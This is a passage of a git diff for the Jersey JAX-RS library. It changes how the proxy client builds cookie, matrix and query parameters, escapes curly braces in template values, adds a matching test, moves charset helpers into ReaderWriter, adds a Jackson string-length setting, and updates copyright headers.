!= null) { + final String name = ((CookieParam) ann).value(); + Cookie c; + if (value instanceof Collection) { + for (final Object v : ((Collection) value)) { + if (!(v instanceof Cookie)) { + c = new Cookie(name, v.toString()); } else { - c = (Cookie) value; - if (!name.equals(((Cookie) value).getName())) { + c = (Cookie) v; + if (!name.equals(((Cookie) v).getName())) { // is this the right thing to do? or should I fail? or ignore the difference? - cookies.add(new Cookie(name, c.getValue(), c.getPath(), c.getDomain(), c.getVersion())); + c = new Cookie(name, c.getValue(), c.getPath(), c.getDomain(), c.getVersion()); } } + cookies.add(c); } - } else if ((ann = anns.get((MatrixParam.class))) != null) { - if (value instanceof Collection) { - newTarget = newTarget.matrixParam(((MatrixParam) ann).value(), convert((Collection) value)); + } else { + if (!(value instanceof Cookie)) { + cookies.add(new Cookie(name, value.toString())); } else { - newTarget = newTarget.matrixParam(((MatrixParam) ann).value(), value); - } - } else if ((ann = anns.get((FormParam.class))) != null) { - if (value instanceof Collection) { - for (final Object v : ((Collection) value)) { - form.param(((FormParam) ann).value(), v.toString()); + c = (Cookie) value; + if (!name.equals(((Cookie) value).getName())) { + // is this the right thing to do? or should I fail? or ignore the difference? + cookies.add(new Cookie(name, c.getValue(), c.getPath(), c.getDomain(), c.getVersion())); } - } else { - form.param(((FormParam) ann).value(), value.toString()); } - } else if ((anns.get((BeanParam.class))) != null) { - if (value instanceof Collection) { - for (final Object v : ((Collection) value)) { - addBeanParameter(v); - } - } else { - addBeanParameter(value); + } + } else if ((ann = anns.get((MatrixParam.class))) != null) { + if (value instanceof Collection) { + newTarget = newTarget.matrixParam(((MatrixParam) ann).value(), convert((Collection) value, true)); + } else { + newTarget = newTarget.matrixParam(((MatrixParam) ann).value(), encodeTemplate(value)); + } + } else if ((ann = anns.get((FormParam.class))) != null) { + if (value instanceof Collection) { + for (final Object v : ((Collection) value)) { + form.param(((FormParam) ann).value(), v.toString()); + } + } else { + form.param(((FormParam) ann).value(), value.toString()); + } + } else if ((anns.get((BeanParam.class))) != null) { + if (value instanceof Collection) { + for (final Object v : ((Collection) value)) { + addBeanParameter(v); } + } else { + addBeanParameter(value); } + } } private void addBeanParameter(final Object beanParam) @@ -159,17 +159,17 @@ private void addBeanParameter(final Object beanParam) if (hasAnyParamAnnotation(anns)) { value = field.get(beanParam); } else { - // get getter annotations if there are no field annotations - for (final PropertyDescriptor pd : Introspector.getBeanInfo(beanClass).getPropertyDescriptors()) { - if (pd.getName().equals(field.getName()) && pd.getReadMethod() != null) { - for (final Annotation ann : pd.getReadMethod().getAnnotations()) { - anns.put(ann.annotationType(), ann); - } - if (hasAnyParamAnnotation(anns)) { - value = pd.getReadMethod().invoke(beanParam); - } - } - } + // get getter annotations if there are no field annotations + for (final PropertyDescriptor pd : Introspector.getBeanInfo(beanClass).getPropertyDescriptors()) { + if (pd.getName().equals(field.getName()) && pd.getReadMethod() != null) { + for (final Annotation ann : pd.getReadMethod().getAnnotations()) { + anns.put(ann.annotationType(), ann); + } + if (hasAnyParamAnnotation(anns)) { + value = pd.getReadMethod().invoke(beanParam); + } + } + } } if (value != null) { @@ -188,8 +188,23 @@ private List getAllFields(List fields, Class type) { return fields; } - private Object[] convert(final Collection value) { - return value.toArray(); + private Object[] convert(Collection value, boolean encode) { + Object[] array = new Object[value.size()]; + int index = 0; + for (Iterator it = value.iterator(); it.hasNext();) { + Object o = it.next(); + array[index++] = o == null ? o : (encode ? encodeTemplate(o) : o.toString()); + } + return array; + } + + /** + * The Query and Matrix arguments are never templates + * @param notNull an Object that is not null + * @return encoded curly brackets within the string representation of the {@code notNull} + */ + private String encodeTemplate(Object notNull) { + return notNull.toString().replace("{", "%7B").replace("}", "%7D"); } public static boolean hasAnyParamAnnotation(final Map, Annotation> anns) { diff --git a/ext/proxy-client/src/main/java/org/glassfish/jersey/client/proxy/WebResourceFactory.java b/ext/proxy-client/src/main/java/org/glassfish/jersey/client/proxy/WebResourceFactory.java index b1cecb7039..5d30929034 100644 --- a/ext/proxy-client/src/main/java/org/glassfish/jersey/client/proxy/WebResourceFactory.java +++ b/ext/proxy-client/src/main/java/org/glassfish/jersey/client/proxy/WebResourceFactory.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -293,4 +293,4 @@ private static String getHttpMethodName(final AnnotatedElement ae) { final HttpMethod a = ae.getAnnotation(HttpMethod.class); return a == null ? null : a.value(); } -} +} \ No newline at end of file diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyBean.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyBean.java index 1426dc2125..9f5443c1d4 100644 --- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyBean.java +++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyBean.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyBeanParam.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyBeanParam.java index 70bb227ae5..b03a1d0af7 100644 --- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyBeanParam.java +++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyBeanParam.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyGetBeanParam.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyGetBeanParam.java index 18d4d6052c..a6ccecf315 100644 --- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyGetBeanParam.java +++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyGetBeanParam.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResource.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResource.java index fa813b5a71..3e592358e1 100644 --- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResource.java +++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResource.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceIfc.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceIfc.java index 4c329d54cc..43263addf7 100644 --- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceIfc.java +++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceIfc.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParam.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParam.java index a1d65e7dd9..1b49f50026 100644 --- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParam.java +++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParam.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -66,4 +66,4 @@ public String echo(MyBeanParam bean) { public MyResourceWithBeanParamIfc getSubResource() { return new MyResourceWithBeanParam(); } -} +} \ No newline at end of file diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParamIfc.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParamIfc.java index f57c85d1b9..5e73615407 100644 --- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParamIfc.java +++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyResourceWithBeanParamIfc.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -68,4 +68,4 @@ public interface MyResourceWithBeanParamIfc { @Path("subresource") MyResourceWithBeanParamIfc getSubResource(); -} +} \ No newline at end of file diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MySubBeanParam.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MySubBeanParam.java index 4cd792d364..1fcb3225cf 100644 --- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MySubBeanParam.java +++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MySubBeanParam.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -41,4 +41,4 @@ public MySubBeanParam() {} @QueryParam("subQueryParam") List subQueryParam; -} +} \ No newline at end of file diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MySubResource.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MySubResource.java index 04772e9fc0..c99f70881d 100644 --- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MySubResource.java +++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MySubResource.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MySubResourceIfc.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MySubResourceIfc.java index a1ea83a485..645217d9fa 100644 --- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MySubResourceIfc.java +++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MySubResourceIfc.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/RequestParametersTest.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/RequestParametersTest.java index 9ade6696a7..2acbc305c3 100644 --- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/RequestParametersTest.java +++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/RequestParametersTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/Valid.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/Valid.java index 8cc343aa6e..d10ef1811c 100644 --- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/Valid.java +++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/Valid.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/WebResourceFactoryBeanParamTest.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/WebResourceFactoryBeanParamTest.java index dc24861eb3..d9b361a27e 100644 --- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/WebResourceFactoryBeanParamTest.java +++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/WebResourceFactoryBeanParamTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,18 +16,19 @@ package org.glassfish.jersey.client.proxy; +import static org.junit.jupiter.api.Assertions.assertEquals; + +import java.util.Arrays; +import java.util.List; + import jakarta.ws.rs.core.Cookie; + import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; import org.glassfish.jersey.test.TestProperties; import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.Test; -import java.util.Arrays; -import java.util.List; - -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author Richard Obersheimer */ @@ -137,4 +138,4 @@ public void testSubResource() { assertEquals("query", response); } -} +} \ No newline at end of file diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/WebResourceFactoryTest.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/WebResourceFactoryTest.java index 89927e9734..e7d66d3525 100644 --- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/WebResourceFactoryTest.java +++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/WebResourceFactoryTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,6 +16,11 @@ package org.glassfish.jersey.client.proxy; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertNotEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + import java.util.ArrayList; import java.util.Collections; import java.util.HashSet; @@ -34,13 +39,10 @@ import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; import org.glassfish.jersey.test.TestProperties; +import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.Disabled; import org.junit.jupiter.api.Test; -import static org.junit.jupiter.api.Assertions.assertEquals; -import static org.junit.jupiter.api.Assertions.assertFalse; -import static org.junit.jupiter.api.Assertions.assertNotEquals; -import static org.junit.jupiter.api.Assertions.assertTrue; /** * @author Martin Matula @@ -336,4 +338,27 @@ public void testHashCode() throws Exception { public void testEquals() { assertFalse(resource.equals(resource2), "The two resource instances should not be considered equals as they are unique"); } + + @Test + void testParamWithCurly() { + String param = "faulty {"; + + String result = resource.getByName(param); + Assertions.assertEquals(param, result); + + result = resource.getByNameCookie(param); + Assertions.assertEquals(param, result); + + result = resource.getByNameHeader(param); + Assertions.assertEquals(param, result); + + result = resource.getByNameMatrix(param); + Assertions.assertEquals(param, result); + + result = resource.postByNameFormParam(param); + Assertions.assertEquals(param, result); + + result = resource.getId(param); + Assertions.assertEquals(param, result); + } } diff --git a/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/DocletUtils.java b/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/DocletUtils.java index 37f0608efc..9fdcac3daa 100644 --- a/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/DocletUtils.java +++ b/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/DocletUtils.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2019, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2019, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -18,11 +18,12 @@ import java.io.BufferedOutputStream; import java.io.ByteArrayInputStream; -import java.io.FileOutputStream; +import java.io.File; import java.io.OutputStream; import java.io.StringWriter; import java.lang.reflect.Array; import java.lang.reflect.Field; +import java.nio.file.Files; import java.util.Arrays; import java.util.logging.Level; import java.util.logging.Logger; @@ -96,7 +97,7 @@ static boolean createOutputFile(String filePath, DocProcessor docProcessor, Reso Class[] classes = getJAXBContextClasses(result, docProcessor); LOG.info("cdataElements " + Arrays.asList(cdataElements)); LOG.info("classes " + Arrays.asList(classes)); - try (OutputStream out = new BufferedOutputStream(new FileOutputStream(filePath))) { + try (OutputStream out = new BufferedOutputStream(Files.newOutputStream(new File(filePath).toPath()))) { JAXBContext c = JAXBContext.newInstance(classes); Marshaller m = c.createMarshaller(); m.setProperty(Marshaller.JAXB_FORMATTED_OUTPUT, true); diff --git a/ext/wadl-doclet/src/main/java8_11/org/glassfish/jersey/wadl/doclet/ResourceDoclet.java b/ext/wadl-doclet/src/main/java8_11/org/glassfish/jersey/wadl/doclet/ResourceDoclet.java index a91266223d..89667c4960 100644 --- a/ext/wadl-doclet/src/main/java8_11/org/glassfish/jersey/wadl/doclet/ResourceDoclet.java +++ b/ext/wadl-doclet/src/main/java8_11/org/glassfish/jersey/wadl/doclet/ResourceDoclet.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -18,7 +18,6 @@ import java.io.BufferedOutputStream; import java.io.File; -import java.io.FileOutputStream; import java.io.OutputStream; import java.io.StringWriter; import java.lang.reflect.Array; diff --git a/incubator/declarative-linking/src/main/java/org/glassfish/jersey/linking/ELLinkBuilder.java b/incubator/declarative-linking/src/main/java/org/glassfish/jersey/linking/ELLinkBuilder.java index 5662724e6a..143a131ba9 100644 --- a/incubator/declarative-linking/src/main/java/org/glassfish/jersey/linking/ELLinkBuilder.java +++ b/incubator/declarative-linking/src/main/java/org/glassfish/jersey/linking/ELLinkBuilder.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -28,6 +28,7 @@ import jakarta.el.ValueExpression; import org.glassfish.jersey.linking.mapping.ResourceMappingContext; +import org.glassfish.jersey.uri.internal.UriPart; import org.glassfish.jersey.uri.internal.UriTemplateParser; /** @@ -97,7 +98,7 @@ static URI buildURI(InjectLinkDescriptor link, // now process any embedded URI template parameters UriBuilder ub = applyLinkStyle(template, link.getLinkStyle(), uriInfo); UriTemplateParser parser = new UriTemplateParser(template); - List parameterNames = parser.getNames(); + List parameterNames = parser.getNames(); Map valueMap = getParameterValues(parameterNames, link, context, uriInfo); return ub.buildFromMap(valueMap); } @@ -119,12 +120,13 @@ private static UriBuilder applyLinkStyle(String template, InjectLink.Style style return ub; } - private static Map getParameterValues(List parameterNames, + private static Map getParameterValues(List parameterNames, InjectLinkDescriptor linkField, LinkELContext context, UriInfo uriInfo) { Map values = new HashMap<>(); - for (String name : parameterNames) { + for (UriPart param : parameterNames) { + String name = param.getPart(); String elExpression = linkField.getBinding(name); if (elExpression == null) { String value = uriInfo.getPathParameters().getFirst(name); diff --git a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractCollectionJaxbProvider.java b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractCollectionJaxbProvider.java index 76e8750253..eb8fe7b375 100644 --- a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractCollectionJaxbProvider.java +++ b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractCollectionJaxbProvider.java @@ -26,6 +26,7 @@ import java.lang.reflect.ParameterizedType; import java.lang.reflect.Type; import java.nio.charset.Charset; +import java.nio.charset.StandardCharsets; import java.util.ArrayList; import java.util.Arrays; import java.util.Collection; @@ -56,6 +57,7 @@ import javax.xml.stream.XMLStreamReader; import org.glassfish.jersey.message.internal.EntityInputStream; +import org.glassfish.jersey.message.internal.ReaderWriter; /** * An abstract provider for {@code T[]}, {@code Collection<T>}, @@ -238,12 +240,12 @@ public final void writeTo( ? Arrays.asList((Object[]) t) : (Collection) t; final Class elementType = getElementClass(type, genericType); - final Charset charset = getCharset(mediaType); + final Charset charset = ReaderWriter.getCharset(mediaType); final String charsetName = charset.name(); final Marshaller m = getMarshaller(elementType, mediaType); m.setProperty(Marshaller.JAXB_FRAGMENT, true); - if (charset != UTF8) { + if (charset != StandardCharsets.UTF_8) { m.setProperty(Marshaller.JAXB_ENCODING, charsetName); } setHeader(m, annotations); diff --git a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractJaxbElementProvider.java b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractJaxbElementProvider.java index 63cd31814d..9551f25e0f 100644 --- a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractJaxbElementProvider.java +++ b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractJaxbElementProvider.java @@ -23,6 +23,7 @@ import java.lang.reflect.ParameterizedType; import java.lang.reflect.Type; import java.nio.charset.Charset; +import java.nio.charset.StandardCharsets; import jakarta.ws.rs.BadRequestException; import jakarta.ws.rs.InternalServerErrorException; @@ -41,6 +42,7 @@ import org.glassfish.jersey.internal.LocalizationMessages; import org.glassfish.jersey.message.internal.EntityInputStream; +import org.glassfish.jersey.message.internal.ReaderWriter; /** * An abstract provider for {@link JAXBElement}. @@ -145,8 +147,8 @@ public final void writeTo( OutputStream entityStream) throws IOException { try { final Marshaller m = getMarshaller(t.getDeclaredType(), mediaType); - final Charset c = getCharset(mediaType); - if (c != UTF8) { + final Charset c = ReaderWriter.getCharset(mediaType); + if (c != StandardCharsets.UTF_8) { m.setProperty(Marshaller.JAXB_ENCODING, c.name()); } setHeader(m, annotations); diff --git a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractRootElementJaxbProvider.java b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractRootElementJaxbProvider.java index afc9dc92d1..eae93c1209 100644 --- a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractRootElementJaxbProvider.java +++ b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/AbstractRootElementJaxbProvider.java @@ -22,6 +22,7 @@ import java.lang.annotation.Annotation; import java.lang.reflect.Type; import java.nio.charset.Charset; +import java.nio.charset.StandardCharsets; import jakarta.ws.rs.BadRequestException; import jakarta.ws.rs.InternalServerErrorException; @@ -42,6 +43,7 @@ import org.glassfish.jersey.internal.LocalizationMessages; import org.glassfish.jersey.message.internal.EntityInputStream; +import org.glassfish.jersey.message.internal.ReaderWriter; /** * An abstract provider for JAXB types that are annotated with @@ -150,8 +152,8 @@ public final void writeTo( OutputStream entityStream) throws IOException { try { final Marshaller m = getMarshaller(type, mediaType); - final Charset c = getCharset(mediaType); - if (c != UTF8) { + final Charset c = ReaderWriter.getCharset(mediaType); + if (c != StandardCharsets.UTF_8) { m.setProperty(Marshaller.JAXB_ENCODING, c.name()); } setHeader(m, annotations); diff --git a/media/json-binding/src/main/java/org/glassfish/jersey/jsonb/internal/JsonBindingProvider.java b/media/json-binding/src/main/java/org/glassfish/jersey/jsonb/internal/JsonBindingProvider.java index 693a9d33c3..9fa1a40ca4 100644 --- a/media/json-binding/src/main/java/org/glassfish/jersey/jsonb/internal/JsonBindingProvider.java +++ b/media/json-binding/src/main/java/org/glassfish/jersey/jsonb/internal/JsonBindingProvider.java @@ -30,6 +30,7 @@ import org.glassfish.jersey.jsonb.LocalizationMessages; import org.glassfish.jersey.message.internal.AbstractMessageReaderWriterProvider; import org.glassfish.jersey.message.internal.EntityInputStream; +import org.glassfish.jersey.message.internal.ReaderWriter; import jakarta.inject.Inject; import jakarta.json.bind.Jsonb; @@ -106,8 +107,9 @@ public void writeTo(Object o, Class type, Type genericType, OutputStream entityStream) throws IOException, WebApplicationException { Jsonb jsonb = getJsonb(type); try { - jsonb.toJson(o, genericType, new OutputStreamWriter(entityStream, getCharset(mediaType))); - } catch (JsonbException e) { + entityStream.write(jsonb.toJson(o).getBytes(ReaderWriter.getCharset(mediaType))); + entityStream.flush(); + } catch (IOException e) { throw new ProcessingException(LocalizationMessages.ERROR_JSONB_SERIALIZATION(), e); } } diff --git a/media/json-gson/src/main/java/org/glassfish/jersey/gson/internal/JsonGsonProvider.java b/media/json-gson/src/main/java/org/glassfish/jersey/gson/internal/JsonGsonProvider.java index 96d0b1a277..50a0dcf52e 100644 --- a/media/json-gson/src/main/java/org/glassfish/jersey/gson/internal/JsonGsonProvider.java +++ b/media/json-gson/src/main/java/org/glassfish/jersey/gson/internal/JsonGsonProvider.java @@ -42,6 +42,7 @@ import com.google.gson.Gson; import com.google.gson.GsonBuilder; +import org.glassfish.jersey.message.internal.ReaderWriter; /** * Entity provider (reader and writer) for Gson. @@ -81,7 +82,7 @@ public Object readFrom(Class type, Type genericType, Gson gson = getGson(type); try { return gson.fromJson(new InputStreamReader(entityInputStream, - AbstractMessageReaderWriterProvider.getCharset(mediaType)), genericType); + ReaderWriter.getCharset(mediaType)), genericType); } catch (Exception e) { throw new ProcessingException(LocalizationMessages.ERROR_GSON_DESERIALIZATION(), e); } @@ -100,7 +101,7 @@ public void writeTo(Object o, Class type, Type genericType, OutputStream entityStream) throws IOException, WebApplicationException { Gson gson = getGson(type); try { - entityStream.write(gson.toJson(o).getBytes(AbstractMessageReaderWriterProvider.getCharset(mediaType))); + entityStream.write(gson.toJson(o).getBytes(ReaderWriter.getCharset(mediaType))); entityStream.flush(); } catch (Exception e) { throw new ProcessingException(LocalizationMessages.ERROR_GSON_SERIALIZATION(), e); diff --git a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/JacksonFeature.java b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/JacksonFeature.java index 71e62ff153..5411720c66 100644 --- a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/JacksonFeature.java +++ b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/JacksonFeature.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -22,6 +22,7 @@ import jakarta.ws.rs.ext.MessageBodyReader; import jakarta.ws.rs.ext.MessageBodyWriter; +import com.fasterxml.jackson.core.StreamReadConstraints; import org.glassfish.jersey.CommonProperties; import org.glassfish.jersey.internal.InternalProperties; import org.glassfish.jersey.internal.util.PropertiesHelper; @@ -31,6 +32,7 @@ import org.glassfish.jersey.jackson.internal.jackson.jaxrs.base.JsonMappingExceptionMapper; import org.glassfish.jersey.jackson.internal.jackson.jaxrs.base.JsonParseExceptionMapper; import org.glassfish.jersey.jackson.internal.jackson.jaxrs.json.JacksonJaxbJsonProvider; +import org.glassfish.jersey.message.MessageProperties; import org.glassfish.jersey.message.filtering.EntityFilteringFeature; /** @@ -43,10 +45,15 @@ public class JacksonFeature implements Feature { /** * Define whether to use Jackson's exception mappers ore not - * Using them can provide a useful information to the user, but it can expose unnecessary information, too. + * Using them can provide useful information to the user, but it can expose unnecessary information, too. */ private final boolean registerExceptionMappers; + /** + * Overridable Jackon's {@link StreamReadConstraints#DEFAULT_MAX_STRING_LEN} value. + */ + private int maxStringLength = StreamReadConstraints.DEFAULT_MAX_STRING_LEN; + /** * Default constructor enables registering Jackson's exception mappers */ @@ -74,6 +81,25 @@ public static JacksonFeature withoutExceptionMappers() { return new JacksonFeature(false); } + /** + *

    + * Sets the {@link MessageProperties#JSON_MAX_STRING_LENGTH} property to a provided value. The property value already + * {@link Configuration configured} takes priority. + *

    + *

    + * Both uses of {@link #maxStringLength(int)} and {@link MessageProperties#JSON_MAX_STRING_LENGTH} override + * StreamReadConstraints defined on Jackson's {@code ObjectMapper's JsonFactory} provided via + * {@link jakarta.ws.rs.ext.ContextResolver ContextResolver<ObjectMapper>}. + *

